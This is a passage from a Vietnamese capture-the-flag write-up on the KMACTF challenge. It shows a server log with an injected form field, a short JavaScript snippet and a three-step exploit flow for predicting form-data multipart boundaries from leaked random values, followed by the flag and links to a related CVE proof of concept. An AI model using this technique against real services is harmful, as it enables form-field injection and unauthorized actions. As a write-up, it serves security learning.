+ 'admin' } python-server INFO:__main__:Received request - Username: l3mnt2010, RequestID: 11111111111, Action: readFlag ------formdata-undici-058373383344 Content-Disposition: form-data; name="username" admin INFO:werkzeug:172.18.0.3 - - [01/Oct/2025 12:02:40] "POST /execute HTTP/1.1" 400 - ``` Tại đây có vẻ mọi người sẽ thắc mắc sao truyền đúng rồi mà ở sau lại bị 400 vẫn không nhận đúng không -> vì cái buffer data này là của request ta thêm vào: ```javascript const fakeResponse = new Response(formData); const rawBody = Buffer.from(await fakeResponse.arrayBuffer()); ``` Chứ không phải của `execute` -> nên sai {11bytes} là điều hiển nhiên -> chỉ cần xóa cái dòng thêm vào là được. ### 8: Exploit flow 1. Bước 1: là ta sẽ register username, pass bất kì thỏa mã len > 5 là được. ![image](https://hackmd.io/_uploads/By9y-Fqnxg.png) 2. Bước 2: ![image](https://hackmd.io/_uploads/H1muMKq2xg.png) 3. Bước 3: Sẽ get nhiều random ở header về sau rồi đưa vào để crack giá trị tiếp theo sẽ random ra -> sau đó build payload injection vào action -> solved. ![5](https://hackmd.io/_uploads/rkubc59nxe.png) flag: `KMACTF{how_can_you_pollute_param_@@_}` Tài liệu tham khảo: https://hackerone.com/reports/2913312 Link này có đề cập cách khai thác với sát với bài này trong nodejs khác với bài dưới là cách lấy giá trị random từ server -> cách này hoạt động khi ứng dụng nodejs có chức năng fetch với FormData đến bất kì url nào mà ta control -> thì ta sẽ có thể lấy được 11bytes cuối của boundary random rồi đem đi crack. https://github.com/benweissmann/CVE-2025-7783-poc/blob/main/exploit.js - Link này là poc của CVE-2025-7783 đề cập đến cách lấy giá trị random từ x-request-id rồi đi crack như trên, và bài này là khai thác của `form-data` là `--------------------------+24bytes random`. --- https://github.com/PwnFunction/v8-randomness-predictor/tree/main https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f --- ## Phần 2: https://hackmd.io/@l3mnt2010/S1BX1jc2lg